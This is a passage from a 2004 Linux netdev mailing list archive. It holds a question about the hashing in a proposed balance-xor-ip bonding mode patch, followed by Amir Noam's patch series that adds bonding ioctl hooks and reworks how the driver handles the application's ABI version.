bonding mode Date: Thu, 8 Jan 2004 09:36:44 -0600 Message-ID: <72A87F7160C0994D8C5A36E2FDC227F502B3E9BE@txnexc01.americas.cpqcorp.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Bonding-devel] [PATCH] [bonding 2.6] Add balance-xor-ip bonding mode Thread-Index: AcPVYdqSPbokhakcSIif9UDWkwRTywAG92qw From: "Cureington, Tony" To: "Per Hedeland" , , X-OriginalArrivalTime: 08 Jan 2004 15:36:46.0253 (UTC) FILETIME=[395FD5D0:01C3D5FD] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i08FasTa005369 X-archive-position: 2272 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tony.cureington@hp.com Precedence: bulk X-list: netdev Content-Length: 6717 Lines: 204 I'm curious of the reasoning behind "u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8);", what advantages does it have over using the xor'd addresses just before this line? Maybe someone loaded decaf on me this morning? :-/ Thanks! > -----Original Message----- > From: bonding-devel-admin@lists.sourceforge.net > [mailto:bonding-devel-admin@lists.sourceforge.net]On Behalf Of Per > Hedeland > Sent: Wednesday, January 07, 2004 3:02 PM > To: bonding-devel@lists.sourceforge.net; netdev@oss.sgi.com > Subject: [Bonding-devel] [PATCH] [bonding 2.6] Add balance-xor-ip > bonding mode > > > This patch adds a new bonding policy, similar to the > previously existing > balance-xor, but using the IP addresses rather than MAC > addresses for IP > packets, with fallback to MAC-based balance-xor for non-IP packets. > > The patch is against the net-drivers-2.5-exp tree (with Shmulik's > 'update comment blocks' and Amir's 'using per-bond parameters' patches > applied). > > --Per Hedeland > per@hedeland.org > > > diff -Nru a/Documentation/networking/bonding.txt > b/Documentation/networking/bonding.txt > --- a/Documentation/networking/bonding.txt Wed Jan 7 16:18:11 2004 > +++ b/Documentation/networking/bonding.txt Wed Jan 7 16:45:11 2004 > @@ -368,6 +368,17 @@ > fails it's hw address is swapped with the new > curr_active_slave > that was chosen. > > + balance-xor-ip or 7 > + > + XOR IP policy: Transmit based on [(source IP address > + XOR'd with destination IP address) modula slave count]. > + I.e. similar to balance-xor, but uses the IP addresses > + rather than MAC addresses for IP packets, which provides > + better load balancing in some cases (e.g. most traffic > + sent to a default gateway). For non-IP packets, it will > + fall back to MAC-based balance-xor. This mode provides > + load balancing and fault tolerance. > + > primary > > A string (eth0, eth2, etc) to equate to a primary > device. If this > diff -Nru a/drivers/net/bonding/bond_main.c > b/drivers/net/bonding/bond_main.c > --- a/drivers/net/bonding/bond_main.c Wed Jan 7 16:16:19 2004 > +++ b/drivers/net/bonding/bond_main.c Wed Jan 7 16:45:11 2004 > @@ -476,6 +476,7 @@ > #include > #include > #include > +#include > #include > #include > #include > @@ -585,6 +586,7 @@ > { "balance-rr", BOND_MODE_ROUNDROBIN}, > { "active-backup", BOND_MODE_ACTIVEBACKUP}, > { "balance-xor", BOND_MODE_XOR}, > +{ "balance-xor-ip", BOND_MODE_XOR_IP}, > { "broadcast", BOND_MODE_BROADCAST}, > { "802.3ad", BOND_MODE_8023AD}, > { "balance-tlb", BOND_MODE_TLB}, > @@ -607,6 +609,8 @@ > return "fault-tolerance (active-backup)"; > case BOND_MODE_XOR : > return "load balancing (xor)"; > + case BOND_MODE_XOR_IP: > + return "load balancing (xor-ip)"; > case BOND_MODE_BROADCAST : > return "fault-tolerance (broadcast)"; > case BOND_MODE_8023AD: > @@ -3657,16 +3661,17 @@ > > /* > * in XOR mode, we determine the output device by performing xor on > - * the source and destination hw adresses. If this device is not > + * the source and destination adresses. If this device is not > * enabled, find the next slave following this xor slave. > */ > -static int bond_xmit_xor(struct sk_buff *skb, struct > net_device *bond_dev) > +static int bond_xmit_xor(struct sk_buff *skb, struct > net_device *bond_dev, int use_ip) > { > struct bonding *bond = bond_dev->priv; > struct ethhdr *data = (struct ethhdr *)skb->data; > struct slave *slave, *start_at; > - int slave_no; > + int slave_no = 0; > int i; > + __u32 u; > > read_lock(&bond->lock); > > @@ -3674,7 +3679,30 @@ > goto free_out; > } > > - slave_no = (data->h_dest[5]^bond_dev->dev_addr[5]) % > bond->slave_cnt; > + if (use_ip) { > + switch (ntohs(skb->protocol)) { > + case ETH_P_IP: > + u = skb->nh.iph->saddr ^ skb->nh.iph->daddr; > + u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8); > + slave_no = (u & 0xff) % bond->slave_cnt; > + break; > + case ETH_P_IPV6: > + for (u = 0, i = 0; i < 4; i++) { > + u ^= skb->nh.ipv6h->saddr.s6_addr32[i] ^ > + > skb->nh.ipv6h->daddr.s6_addr32[i]; > + } > + u ^= (u >> 24) ^ (u >> 16) ^ (u >> 8); > + slave_no = (u & 0xff) % bond->slave_cnt; > + break; > + default: > + use_ip = 0; > + break; > + } > + } > + > + if (!use_ip) { > + slave_no = > (data->h_dest[5]^bond_dev->dev_addr[5]) % bond->slave_cnt; > + } > > bond_for_each_slave(bond, slave, i) { > slave_no--; > @@ -3707,6 +3735,16 @@ > goto out; > } > > +static int bond_xmit_xor_mac(struct sk_buff *skb, struct > net_device *bond_dev) > +{ > + return bond_xmit_xor(skb, bond_dev, 0); > +} > + > +static int bond_xmit_xor_ip(struct sk_buff *skb, struct > net_device *bond_dev) > +{ > + return bond_xmit_xor(skb, bond_dev, 1); > +} > + > /* > * in broadcast mode, we send everything to all usable interfaces. > */ > @@ -3793,7 +3831,10 @@ > bond_dev->hard_start_xmit = bond_xmit_activebackup; > break; > case BOND_MODE_XOR: > - bond_dev->hard_start_xmit = bond_xmit_xor; > + bond_dev->hard_start_xmit = bond_xmit_xor_mac; > + break; > + case BOND_MODE_XOR_IP: > + bond_dev->hard_start_xmit = bond_xmit_xor_ip; > break; > case BOND_MODE_BROADCAST: > bond_dev->hard_start_xmit = bond_xmit_broadcast; > @@ -3914,8 +3955,7 @@ > for (i = 0; tbl[i].modename; i++) { > if ((isdigit(*mode_arg) && > tbl[i].mode == simple_strtol(mode_arg, NULL, 0)) || > - (strncmp(mode_arg, tbl[i].modename, > - strlen(tbl[i].modename)) == 0)) { > + (strcmp(mode_arg, tbl[i].modename) == 0)) { > return tbl[i].mode; > } > } > diff -Nru a/include/linux/if_bonding.h b/include/linux/if_bonding.h > --- a/include/linux/if_bonding.h Wed Jan 7 16:21:37 2004 > +++ b/include/linux/if_bonding.h Wed Jan 7 16:45:11 2004 > @@ -67,6 +67,7 @@ > #define BOND_MODE_8023AD 4 > #define BOND_MODE_TLB 5 > #define BOND_MODE_ALB 6 /* TLB + RLB (receive > load balancing) */ > +#define BOND_MODE_XOR_IP 7 > > /* each slave's link has 4 states */ > #define BOND_LINK_UP 0 /* link is up and running */ > > > ------------------------------------------------------- > This SF.net email is sponsored by: Perforce Software. > Perforce is the Fast Software Configuration Management System offering > advanced branching capabilities and atomic changes on 50+ platforms. > Free Eval! http://www.perforce.com/perforce/loadprog.html > _______________________________________________ > Bonding-devel mailing list > Bonding-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/bonding-devel > From amir.noam@intel.com Thu Jan 8 08:20:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:20:57 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GKcTa010497 for ; Thu, 8 Jan 2004 08:20:40 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GJxek011628; Thu, 8 Jan 2004 16:19:59 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GJqxZ000523; Thu, 8 Jan 2004 16:19:59 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818195818982 ; Thu, 08 Jan 2004 18:19:58 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GJshb003823; Thu, 8 Jan 2004 18:19:55 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [bonding] Add basic support for dynamic configuration of bond interfaces Date: Thu, 8 Jan 2004 18:19:54 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081819.54484.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2273 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 471 Lines: 15 The following patch sets provide basic support for future bonding operations (specifically for dynamic configuration of bonding interfaces). This is done by adding two new bonding ioctls: one for deviceless commands (an ioctl hook) and one for device oriented commands. Like ethtool, the first u32 value in the data structure will indicate the exact sub-command to be executed. The sets are against the latest netdev-2.4 and net-drivers-2.5-exp trees. -- Amir From amir.noam@intel.com Thu Jan 8 08:21:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:21:57 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GLeTa010554 for ; Thu, 8 Jan 2004 08:21:43 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GLQek011940; Thu, 8 Jan 2004 16:21:26 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GLJxX000750; Thu, 8 Jan 2004 16:21:25 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818212519064 ; Thu, 08 Jan 2004 18:21:25 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GLOhb003850; Thu, 8 Jan 2004 18:21:25 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 1/4] [bonding 2.4] Add bonding ioctl hook Date: Thu, 8 Jan 2004 18:21:23 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081821.24881.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2274 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 3218 Lines: 102 Add two bonding ioctls: SIOCBONDING: ioctl hook to handle commands not directed at a specific bond interface. SIOCBONDDEVICE: ioctl to handle commands for a bond interface. This ioctl can also handle all existing commands, so we can regard them as obsolete in the future. All future bonding operations will be a sub-command of one of these ioctls. diff -Nuarp a/include/linux/sockios.h b/include/linux/sockios.h --- a/include/linux/sockios.h Tue Jan 6 20:40:06 2004 +++ b/include/linux/sockios.h Tue Jan 6 20:40:08 2004 @@ -115,7 +115,9 @@ #define SIOCBONDSLAVEINFOQUERY 0x8993 /* rtn info about slave state */ #define SIOCBONDINFOQUERY 0x8994 /* rtn info about bond state */ #define SIOCBONDCHANGEACTIVE 0x8995 /* update to a new active slave */ - +#define SIOCBONDING 0x8996 /* deviceless bonding commands */ +#define SIOCBONDDEVICE 0x8997 /* device oriented bonding commands */ + /* Device private ioctl calls */ /* diff -Nuarp a/net/core/dev.c b/net/core/dev.c --- a/net/core/dev.c Tue Jan 6 20:40:06 2004 +++ b/net/core/dev.c Tue Jan 6 20:40:08 2004 @@ -2199,6 +2199,7 @@ static int dev_ifsioc(struct ifreq *ifr, cmd == SIOCBONDSLAVEINFOQUERY || cmd == SIOCBONDINFOQUERY || cmd == SIOCBONDCHANGEACTIVE || + cmd == SIOCBONDDEVICE || cmd == SIOCGMIIPHY || cmd == SIOCGMIIREG || cmd == SIOCSMIIREG || @@ -2358,6 +2359,7 @@ int dev_ioctl(unsigned int cmd, void *ar case SIOCBONDSLAVEINFOQUERY: case SIOCBONDINFOQUERY: case SIOCBONDCHANGEACTIVE: + case SIOCBONDDEVICE: if (!capable(CAP_NET_ADMIN)) return -EPERM; dev_load(ifr.ifr_name); diff -Nuarp a/net/ipv4/af_inet.c b/net/ipv4/af_inet.c --- a/net/ipv4/af_inet.c Tue Jan 6 20:40:06 2004 +++ b/net/ipv4/af_inet.c Tue Jan 6 20:40:08 2004 @@ -147,6 +147,16 @@ int (*br_ioctl_hook)(unsigned long); int (*vlan_ioctl_hook)(unsigned long arg); #endif +static DECLARE_MUTEX(bond_ioctl_mutex); +int (*bond_ioctl_hook)(unsigned long arg); + +void bond_ioctl_set(int (*hook)(unsigned long)) +{ + down(&bond_ioctl_mutex); + bond_ioctl_hook = hook; + up(&bond_ioctl_mutex); +} + /* The inetsw table contains everything that inet_create needs to * build a new socket. */ @@ -924,6 +934,21 @@ int inet_ioctl(struct socket *sock, unsi #endif return -ENOPKG; + case SIOCBONDING: + err = -ENOPKG; + +#ifdef CONFIG_KMOD + if (bond_ioctl_hook == NULL) + request_module("bonding"); +#endif + + down(&bond_ioctl_mutex); + if (bond_ioctl_hook != NULL) + err = bond_ioctl_hook(arg); + up(&bond_ioctl_mutex); + + return err; + default: if ((cmd >= SIOCDEVPRIVATE) && (cmd <= (SIOCDEVPRIVATE + 15))) diff -Nuarp a/net/netsyms.c b/net/netsyms.c --- a/net/netsyms.c Tue Jan 6 20:40:06 2004 +++ b/net/netsyms.c Tue Jan 6 20:40:08 2004 @@ -296,6 +296,9 @@ extern int (*dlci_ioctl_hook)(unsigned i EXPORT_SYMBOL(dlci_ioctl_hook); #endif +extern void bond_ioctl_set(int (*hook)(unsigned long)); +EXPORT_SYMBOL(bond_ioctl_set); + #if defined (CONFIG_IPV6_MODULE) || defined (CONFIG_KHTTPD) || defined (CONFIG_KHTTPD_MODULE) || defined (CONFIG_IP_SCTP_MODULE) /* inet functions common to v4 and v6 */ From amir.noam@intel.com Thu Jan 8 08:23:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:23:41 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GNMTa011219 for ; Thu, 8 Jan 2004 08:23:24 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GN7ek012261; Thu, 8 Jan 2004 16:23:07 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GN7xV000973; Thu, 8 Jan 2004 16:23:07 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818230719136 ; Thu, 08 Jan 2004 18:23:07 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GN6hb003877; Thu, 8 Jan 2004 18:23:07 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 2/4] [bonding 2.4] Reduce usage of the global Date: Thu, 8 Jan 2004 18:23:05 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081823.06694.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2275 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 6428 Lines: 190 - Reduce usage of the global values of the ABI version received from the application. Instead, pass it as a function argument were needed. - Save a new slave's original HW address regardless of ABI version. - Move the clearing of the bond's address and some references to the bond's params structure so they are protected by the relevant locks. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Jan 8 18:03:19 2004 +++ b/drivers/net/bonding/bond_main.c Thu Jan 8 18:03:21 2004 @@ -561,6 +561,11 @@ static int arp_ip_count = 0; static u32 my_ip = 0; static int bond_mode = BOND_MODE_ROUNDROBIN; static int lacp_fast = 0; + +/* The global abi_ver vars are only for providing backward compatibility with + * versions that locked bonding into using only the first abi_ver it has seen + * from userspace. + */ static int app_abi_ver = 0; static int orig_app_abi_ver = -1; /* This is used to save the first ABI version * we receive from the application. Once set, @@ -1207,7 +1212,7 @@ static int bond_sethwaddr(struct net_dev } /* enslave device to bond device */ -static int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev) +static int bond_enslave(struct net_device *bond_dev, struct net_device *slave_dev, int abi_ver) { struct bonding *bond = bond_dev->priv; struct slave *new_slave = NULL; @@ -1234,7 +1239,7 @@ static int bond_enslave(struct net_devic return -EBUSY; } - if (app_abi_ver >= 1) { + if (abi_ver >= 1) { /* The application is using an ABI, which requires the * slave interface to be closed. */ @@ -1289,13 +1294,12 @@ static int bond_enslave(struct net_devic */ new_slave->original_flags = slave_dev->flags; - if (app_abi_ver >= 1) { - /* save slave's original ("permanent") mac address for - * modes that needs it, and for restoring it upon release, - * and then set it to the master's address - */ - memcpy(new_slave->perm_hwaddr, slave_dev->dev_addr, ETH_ALEN); + /* save slave's original ("permanent") mac address for restoring it + * upon release + */ + memcpy(new_slave->perm_hwaddr, slave_dev->dev_addr, ETH_ALEN); + if (abi_ver >= 1) { /* set slave to master's mac address * The application already set the master's * mac address to that of the first slave @@ -1319,7 +1323,7 @@ static int bond_enslave(struct net_devic res = netdev_set_master(slave_dev, bond_dev); if (res) { dprintk("Error %d calling netdev_set_master\n", res); - if (app_abi_ver < 1) { + if (abi_ver < 1) { goto err_free; } else { goto err_close; @@ -1520,7 +1524,7 @@ static int bond_enslave(struct net_devic write_unlock_bh(&bond->lock); - if (app_abi_ver < 1) { + if (abi_ver < 1) { /* * !!! This is to support old versions of ifenslave. * We can remove this in 2.5 because our ifenslave takes @@ -1689,6 +1693,14 @@ static int bond_release(struct net_devic } } + if (bond->slave_cnt == 0) { + /* if the last slave was removed, zero the mac address + * of the master so it will be set by the application + * to the mac address of the first slave + */ + memset(bond_dev->dev_addr, 0, bond_dev->addr_len); + } + write_unlock_bh(&bond->lock); /* If the mode USES_PRIMARY, then we should only remove its @@ -1715,12 +1727,10 @@ static int bond_release(struct net_devic /* close slave before restoring its mac address */ dev_close(slave_dev); - if (app_abi_ver >= 1) { - /* restore original ("permanent") mac address */ - memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); - addr.sa_family = slave_dev->type; - slave_dev->set_mac_address(slave_dev, &addr); - } + /* restore original ("permanent") mac address */ + memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); + addr.sa_family = slave_dev->type; + slave_dev->set_mac_address(slave_dev, &addr); /* restore the original state of the * IFF_NOARP flag that might have been @@ -1732,14 +1742,6 @@ static int bond_release(struct net_devic kfree(slave); - /* if the last slave was removed, zero the mac address - * of the master so it will be set by the application - * to the mac address of the first slave - */ - if (bond->slave_cnt == 0) { - memset(bond_dev->dev_addr, 0, bond_dev->addr_len); - } - return 0; /* deletion OK */ } @@ -1812,12 +1814,10 @@ static int bond_release_all(struct net_d /* close slave before restoring its mac address */ dev_close(slave_dev); - if (app_abi_ver >= 1) { - /* restore original ("permanent") mac address*/ - memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); - addr.sa_family = slave_dev->type; - slave_dev->set_mac_address(slave_dev, &addr); - } + /* restore original ("permanent") mac address*/ + memcpy(addr.sa_data, slave->perm_hwaddr, ETH_ALEN); + addr.sa_family = slave_dev->type; + slave_dev->set_mac_address(slave_dev, &addr); /* restore the original state of the IFF_NOARP flag that might have * been set by bond_set_slave_inactive_flags() @@ -1958,10 +1958,9 @@ static int bond_info_query(struct net_de { struct bonding *bond = bond_dev->priv; + read_lock_bh(&bond->lock); info->bond_mode = bond->params.mode; info->miimon = bond->params.miimon; - - read_lock_bh(&bond->lock); info->num_slaves = bond->slave_cnt; read_unlock_bh(&bond->lock); @@ -2754,16 +2753,14 @@ static void bond_info_show_slave(struct seq_printf(seq, "Link Failure Count: %d\n", slave->link_failure_count); - if (app_abi_ver >= 1) { - seq_printf(seq, - "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", - slave->perm_hwaddr[0], - slave->perm_hwaddr[1], - slave->perm_hwaddr[2], - slave->perm_hwaddr[3], - slave->perm_hwaddr[4], - slave->perm_hwaddr[5]); - } + seq_printf(seq, + "Permanent HW addr: %02x:%02x:%02x:%02x:%02x:%02x\n", + slave->perm_hwaddr[0], + slave->perm_hwaddr[1], + slave->perm_hwaddr[2], + slave->perm_hwaddr[3], + slave->perm_hwaddr[4], + slave->perm_hwaddr[5]); if (bond->params.mode == BOND_MODE_8023AD) { const struct aggregator *agg @@ -3326,7 +3323,7 @@ static int bond_do_ioctl(struct net_devi switch (cmd) { case BOND_ENSLAVE_OLD: case SIOCBONDENSLAVE: - res = bond_enslave(bond_dev, slave_dev); + res = bond_enslave(bond_dev, slave_dev, app_abi_ver); break; case BOND_RELEASE_OLD: case SIOCBONDRELEASE: From amir.noam@intel.com Thu Jan 8 08:24:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:24:47 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GOVTa011329 for ; Thu, 8 Jan 2004 08:24:33 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GOHek012540; Thu, 8 Jan 2004 16:24:17 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GNpxf001065; Thu, 8 Jan 2004 16:24:17 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818241619202 ; Thu, 08 Jan 2004 18:24:16 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GOFhb003904; Thu, 8 Jan 2004 18:24:16 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 3/4] [bonding 2.4] Add support for the bond_hook in bonding Date: Thu, 8 Jan 2004 18:24:14 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081824.15833.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2276 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Content-Length: 3246 Lines: 126 Add support for the bond_hook in bonding, and use it to export some parameters to the calling app. These parameters will be needed later by the application for dynamic configuration of bonding interfaces. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Thu Jan 8 18:03:23 2004 +++ b/drivers/net/bonding/bond_main.c Thu Jan 8 18:03:25 2004 @@ -599,6 +599,7 @@ static struct bond_parm_tbl bond_mode_tb /*-------------------------- Forward declarations ---------------------------*/ +extern void bond_ioctl_set(int (*hook)(unsigned long)); static inline void bond_set_mode_ops(struct net_device *bond_dev, int mode); /*---------------------------- General routines -----------------------------*/ @@ -3899,6 +3900,57 @@ static void bond_free_all(void) #endif } +static int bond_ioctl_deviceless(unsigned long arg) +{ + void *addr = (void *)arg; + u32 cmd; + + if (!capable(CAP_NET_ADMIN)) { + return -EPERM; + } + + if (get_user(cmd, (u32 *)addr)) { + return -EFAULT; + } + + switch (cmd) { + case BOND_CMD_DRV_INFO: { + struct bond_ioctl_drv_info drvinfo; + + if (copy_from_user(&drvinfo, addr, sizeof(drvinfo))) { + return -EFAULT; + } + + /* This is for backward compatibility only. + * Unconditionaly set both global abi_ver vars so we can block + * old ioctls in bond_do_ioctl(). + */ + orig_app_abi_ver = drvinfo.abi_ver; + app_abi_ver = drvinfo.abi_ver; + + drvinfo.abi_ver = BOND_ABI_VERSION; + drvinfo.num_prms = 0; + drvinfo.num_arp_targets = BOND_MAX_ARP_TARGETS; + + if (copy_to_user(addr, &drvinfo, sizeof(drvinfo))) { + return -EFAULT; + } + + break; + } + + /* TODO: implement dynamic add/del of bond interfaces + case BOND_CMD_ADD_BOND: + case BOND_CMD_DEL_BOND: + */ + + default: + return -EOPNOTSUPP; + } + + return 0; +} + /*------------------------- Module initialization ---------------------------*/ /* @@ -4220,6 +4272,8 @@ static int __init bonding_init(void) } rtnl_unlock(); + + bond_ioctl_set(bond_ioctl_deviceless); register_netdevice_notifier(&bond_netdev_notifier); return 0; @@ -4236,6 +4290,7 @@ out_err: static void __exit bonding_exit(void) { unregister_netdevice_notifier(&bond_netdev_notifier); + bond_ioctl_set(NULL); rtnl_lock(); bond_free_all(); diff -Nuarp a/include/linux/if_bonding.h b/include/linux/if_bonding.h --- a/include/linux/if_bonding.h Thu Jan 8 18:03:23 2004 +++ b/include/linux/if_bonding.h Thu Jan 8 18:03:25 2004 @@ -103,6 +103,30 @@ struct ad_info { __u8 partner_system[ETH_ALEN]; }; + +/* + * The following are the available command codes for the SIOCBONDING and + * SIOCBONDDEVICE ioctls. The command codes are the first u32 value of the + * passed struct. The second u32 value is the ABI version of the application. + */ +#define BOND_CMD_DRV_INFO 0x00000001 +#define BOND_CMD_ADD_BOND 0x00000002 +#define BOND_CMD_DEL_BOND 0x00000003 + +/** + * bond_ioctl_drv_info + * + * Used by the %BOND_CMD_DRV_INFO command to retrieve some parameters of the + * bonding driver. + */ +struct bond_ioctl_drv_info { + __u32 cmd; + __u32 abi_ver; + __u32 num_prms; + __u32 num_arp_targets; + char reserved[32]; +}; + #endif /* _LINUX_IF_BONDING_H */ /* From amir.noam@intel.com Thu Jan 8 08:26:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 08:26:26 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i08GQATa011978 for ; Thu, 8 Jan 2004 08:26:12 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i08GPuek012721; Thu, 8 Jan 2004 16:25:56 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i08GPtxV001284; Thu, 8 Jan 2004 16:25:55 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010818255519237 ; Thu, 08 Jan 2004 18:25:55 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i08GPshb003949; Thu, 8 Jan 2004 18:25:55 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 4/4] [bonding 2.4] Support old commands over new bonding ioctl Date: Thu, 8 Jan 2004 18:25:53 +0200 User-Agent: KMail/1.5.3 Cc: , MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401081825.54932.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / 